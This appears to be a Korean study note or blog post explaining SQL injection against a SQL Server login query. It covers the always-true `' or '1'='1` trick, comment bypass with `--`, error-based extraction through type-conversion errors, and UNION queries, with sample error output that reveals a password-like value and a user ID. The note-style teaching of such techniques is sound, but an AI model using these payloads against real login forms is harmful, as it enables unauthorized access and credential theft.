SQL인젝션

select * from member where user_id='pt69'or '1'='1' and user_pw='';
    
결과적으로 전체구문이 참인 경우를 만들어야 한다.
'1'='1'부분 과 user_pw='' 이 부분은 and 연산을 하게 된다면 1=1부분은 참이 되고 user_pw부분은 거짓이 된다 결국 이 둘을 and 연산하게 되면 거짓이 나온다 하지만 id='pt69'는 아이디가 존재함으로 참이 되는데 pt69()'1'='1' and user_pw=''(거짓)or연산을 하게되면 참이 나온다. 결국 전체 구문이 참이므로 로그인이 가능하다.
 
1'='1' and user_pw='';이부분엔 무엇이 와도 상관이 없다 어짜피 여기 구문이 거짓이어도 or연산으로 참이 되어 버리기 때문

 

 

select * from member where user_id='pt69'--';
--이후는 주석처리가 되기 때문에 항상 참이 된다.
 
 
형변환 오류를 이용
select * from member where user_id='pt69' and user_pw=1--' and user_pw='asdf';
문자형배열과 int형을 비교하려고 형변환을 하려는 도중에 에러가 생긴다
/*
서버: 메시지 245, 수준 16, 상태 1, 1
varchar 'nalara1220@'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
*/
 
인터넷 옵션 - 고급 - http오류메시지 표시 체크를 풀어준다

 

위와 같이 오류메시지를 받음과 동시에 비밀번호를 알 수 있다.


union을 이용하는 방법
select id, user_id from member union select strNumber, strName from board;


뒤에 adcd만 숫자로 바꾸면 형변환 에러가 나기 때문에 원하는 속성의 값을 찾아 낼 수 있다.ex)패스워드 알아내기

서버: 메시지 245, 수준 16, 상태 1, 8
varchar 'nalara1220@'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습
니다.

아이디 알아내기

서버: 메시지 245, 수준 16, 상태 1, 8
varchar 'pt69'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 
DB이름 알아오기

select db_name(); 이쿼리는 원래 DB이름을 알아오는 쿼리이다.
에러를 이용한다면 DB이름을 알 수 있다.
DB는 문자열 1은 숫자 둘이 비교를 하면 오류가 생기는 원리로 알아낸다.

+ Recent posts